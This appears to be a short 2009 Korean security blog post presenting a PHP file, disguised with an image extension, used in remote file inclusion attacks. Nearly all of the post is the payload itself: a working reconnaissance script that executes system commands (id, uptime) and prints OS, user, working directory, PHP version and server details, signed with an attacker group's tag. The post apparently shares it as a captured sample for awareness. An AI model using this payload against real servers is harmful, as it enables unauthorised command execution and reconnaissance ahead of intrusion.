본문 바로가기
모의해킹 (WAPT)

Remote Include PHP 소스

by 날으는물고기 2009. 12. 5.

Remote Include PHP 소스

remote include에 쓰인 이미지 확장자로 된 php파일

 

01. <?
02.echo "ALBANIA<br>";
03.$alb = @php_uname();
04.$alb2 = system(uptime);
05.$alb3 = system(id);
06.$alb4 = @getcwd();
07.$alb5 = getenv("SERVER_SOFTWARE");
08.$alb6 = phpversion();
09.$alb7 = $_SERVER['SERVER_NAME'];
10.$alb8 = gethostbyname($SERVER_ADDR);
11.$alb9 = get_current_user();
12.$os = @PHP_OS;
13.echo "os: $os<br>";
14.echo "uname -a: $alb<br>";
15.echo "uptime: $alb2<br>";
16.echo "id: $alb3<br>";
17.echo "pwd: $alb4<br>";
18.echo "user: $alb9<br>";
19.echo "phpv: $alb6<br>";
20.echo "SoftWare: $alb5<br>";
21.echo "ServerName: $alb7<br>";
22.echo "ServerAddr: $alb8<br>";
23.echo "UNITED ALBANIANS ...<br>";
24.exit;
25.?>
 
728x90

댓글